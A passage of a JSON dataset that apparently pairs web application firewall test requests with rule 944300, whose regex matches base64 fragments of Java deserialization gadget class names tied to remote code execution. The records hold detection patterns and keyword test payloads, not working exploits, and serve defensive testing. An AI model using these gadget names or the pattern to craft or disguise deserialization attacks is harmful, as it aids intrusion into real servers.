}, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Y2xvbmV0cmFuc2Zvcm1lcg</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Y2xvbmV0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Y2xvbmV0cmFuc2Zvcm1lcg\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Y2xvbmV0cmFuc2Zvcm1lcg\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Y2xvbmV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=GNsb25ldHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "GNsb25ldHJhbnNmb3JtZXI=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"GNsb25ldHJhbnNmb3JtZXI\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">GNsb25ldHJhbnNmb3JtZXI</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">GNsb25ldHJhbnNmb3JtZXI</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=GNsb25ldHJhbnNmb3JtZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"GNsb25ldHJhbnNmb3JtZXI\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"GNsb25ldHJhbnNmb3JtZXI\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword GNsb25ldHJhbnNmb3JtZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BjbG9uZXRyYW5zZm9ybWVy" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 